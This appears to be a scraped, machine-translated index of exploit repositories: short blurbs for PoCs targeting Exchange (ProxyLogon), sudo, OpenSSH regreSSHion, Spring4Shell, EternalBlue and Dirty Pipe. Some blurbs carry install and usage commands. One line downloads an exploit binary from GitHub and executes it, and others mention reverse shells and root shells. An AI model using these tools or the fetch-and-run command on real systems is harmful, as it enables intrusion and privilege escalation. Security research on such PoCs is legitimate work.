Metinfo-6.1.2-SQL-injection

Metinfo-6.1.2-SQL-injection Metinfo 6.1.2 SQL 주입 스크립트 0-sec.org...

Cobaltstrike-MS17-010

Cobaltstrike Aggressor 스크립트 ms17-010 익스플로잇 도구 및 스캐너. 1. cobaltstrike의 루트 폴더에 파일을 다운로드하세요. 2. "aggressor.cna"를 가져오세요. ms17-010 익스플로잇 도구는 win7 x64와 win2008 r2만 지원합니다. pwn/Invoke-EternalBlue.ps1 — Empire에서 getinfo/Invoke-EternalScan.ps1 — @vletoux에서 getinfo/Invoke-LoginPrompt.ps1 — Empire에서 테스트 사진：...

CVE-2019-18634

CVE-2019-18634 Ubuntu 20.04, sudo 버전 1.8.25에서 작동하는 python 익스플로잇 "./shell.sh"를 자신의 리버스 셸로 교체하세요 분석 문서: https://y3a.github.io/2021/04/17/sudo-cve-analysis/...

Internet-Security-Project---CVE-2021-26814

Internet-Security-Project---CVE-2021-26814 カターニア大学の試験のために作成したインターネットセキュリティプロジェクトです。Wazuh v4.0.3 の脆弱性の悪用方法と、その脆弱性の修正方法を学ぶことができます。 スクリプトオリジナルリポジトリへのリンク: https://github.com/WickdDavid/CVE-2021-26814...

CVE-2021-40449-Exploit

CVE-2021-40449-Exploit Windows 10 14393 및 Windows 10 17763에서만 작동합니다. Palette로 스프레이하고 RtlSetAllBits로 쓰기를 수행합니다...

latestpocs

LatestPoCs LatestPoCs は、最近公開された Common Vulnerabilities and Exposures（CVE）向けの Proof of Concept（PoC）を提供することに特化したリポジトリです。このリポジトリは教育および研究目的で作られており、サイバーセキュリティの専門家や愛好家が新しい脆弱性の影響と、その悪用方法を理解できるようにするものです。 目次 概要 使用方法 リポジトリ構成 貢献ガイドライン 免責事項 ライセンス 概要 このリポジトリには、新たに特定された脆弱性に対する Proof of Concept...

optionsbleed

optionsbleed CVE-2017-9798...

CVE-2024-6387

CVE-2024-6387 regreSSHion regreSSHion 익스플로잇을 위한 개념 증명 파이썬 스크립트. 버전 0.2.1 빌드 POC 설치 root@kitploit: git clone https://github.com/l-urk/CVE-2024-6387.git root@kitploit: cd CVE-2024-6387 root@kitploit: pip3 install -r requirements.txt root@kitploit: python3 regreSSHion.py -h 사용법 root@kitploit: 🔒...

CVE-2023-21768-AFD-for-WinSock-EoP-exploit

CVE-2023-21768-AFD-for-WinSock-EoP-exploit 分析記事はこちら： https://mp.weixin.qq.com/s/9W9puJltbK-xto2A1duqgQ https://www.zoemurmure.top/posts/cve202321768/ Patch Tuesday - Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock afd.sys in 24 Hours を参考に独自に作成したもので、権限昇格後の cleanup...

RancidCrisco

RancidCrisco CVE-2023-20126에 대한 최소한의 PoC 이것은 초기 릴리스입니다. 작동하지만 '가장 간단한 경우'의 익스플로잇입니다. SPA112/SPA122에서 테스트 및 작동 확인 - SPA232D는 다른 펌웨어 이미지가 필요합니다. 23000/tcp 포트에서 루트 셸을 제공합니다. 펌웨어 편집에 사용된 툴체인을 아직 정리해야 하며, 별도의 저장소에 넣을 것입니다. 주로 @BigNerd95의 작업을 기반으로 하지만 SPA112/122 펌웨어 파일에서 작동하도록 약간 수정했습니다. 데모...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965의 파이썬 구현으로, SSH 세션 스타일의 프롬프트를 사용자에게 제공합니다. 이 스크립트는 사용자의 선택에 따라 가독성과 접근성accessibility을 모두 고려하여 이해하고 실행하기 쉽게 설계되었습니다. Tomcat 서버의 취약점을 악용하기 위해 설계되었습니다. 서버의 fileDateFormat 필드는 스크립트의 일부로 설정 및 해제되므로 익스플로잇을 여러 번 실행할 수 있습니다. 정리cleanup가 필요할 수 있습니다. 익스플로잇 - CVE-2022-22965 ❗ 이...

ProxyLogon

ProxyLogon 用 Python3 ProxyLogonCVE-2021-26855+CVE-2021-27065 Exchange Server RCESSRF-GetWebShell root@kitploit: usage: python ProxyLogon.py --host=exchange.com [email protected] python ProxyLogon.py --host=exchange.com --mails=./mails.txt args: --host: target's address. --mail: exists user's...

google-chrome-emergency-update

Chrome 긴급 보안 업데이트 이 저장소는 치명적인 보안 취약점을 해결하는 Google의 긴급 Chrome 업데이트와 관련된 정보와 도구를 포함합니다. 🚨 긴급 업데이트 공지 Google은 실제 환경에서 적극적으로 악용되고 있는 치명적인 제로데이 취약점을 패치하기 위해 긴급 Chrome 업데이트를 발표했습니다. 주요 세부 정보 CVE : CVE-2023-7024 및 기타 심각도 : 치명적 업데이트 버전 : Mac/Linux용 120.0.6099.62/.63, Windows용 120.0.6099.62/.63 릴리스 날짜 :...

CVE-2021-43008-AdminerRead

CVE-2021-43008 - AdminerRead Adminer 1.0から4.6.2までの任意ファイル読み取り脆弱性に対するエクスプロイトツール インストール root@kitploit: git clone https://github.com/p0dalirius/AdminerRead cd AdminerRead sudo python3 setup.py install 使い方 脆弱なバージョン...

Apache-Exploit-2019

익스플로잇 제 익스플로잇 중 일부입니다...

CVE-2007-2447

CVE-2007-2447 Samba 익스플로잇...

JQShell

JQShell CVE-2018-9206의 무기화된 버전입니다. 면책 조항 통제하지 않는 서버에 이 도구를 사용하는 것은 대부분의 국가에서 불법입니다. 저자는 이 소프트웨어를 불법 목적으로 사용하는 사람들의 행위에 대해 책임을 지지 않습니다. 이 소프트웨어는 교육 목적으로만 사용되어야 합니다. 이 소프트웨어를 제작하는 과정에서 어떤 서버도 불법적으로 침해되지 않았습니다. 기능 단일 대상 다중 대상 Tor 사전 요구 사항 다음 필수 패키지를 설치하십시오. Python3 root@kitploit: pip3 install reques...

CVE-2025-5548

취약점 분석 및 익스플로잇 방법론 저자: Anas Rami 모듈: 6. 취약점 - 사이버보안 석사 목표: 취약점 분석, 익스플로잇 개발 및 제로데이 접근에 관한 기술 제안서, 실험실 환경 및 실습 사례 문서화. 1. 방법론적 접근 및 사고방식 취약점 분석은 도구를 자동으로 실행하는 것이 아니라, 소프트웨어 구성 요소가 메모리 및 아키텍처 수준에서 어떻게 상호 작용하는지 깊이 이해하는 것입니다cite: 34. 내 방법론은 분석적이고 '측면 사고' 마인드를 적용하여 다음 단계로 나뉩니다: 1.1. 전술 분석 단계 1. 정보 수집 ...

CVE-2024-27348

CVE-2024-27348 这是 Apache HugeGraph 远程代码执行漏洞（CVE-2024-27348）的存储库。 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image: vulhub/hugegraph:1.2.0 ports: - "8080:8080" -...

CVE-2022-0847-Dirty-Pipe

ワンライナーエクスプロイト CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...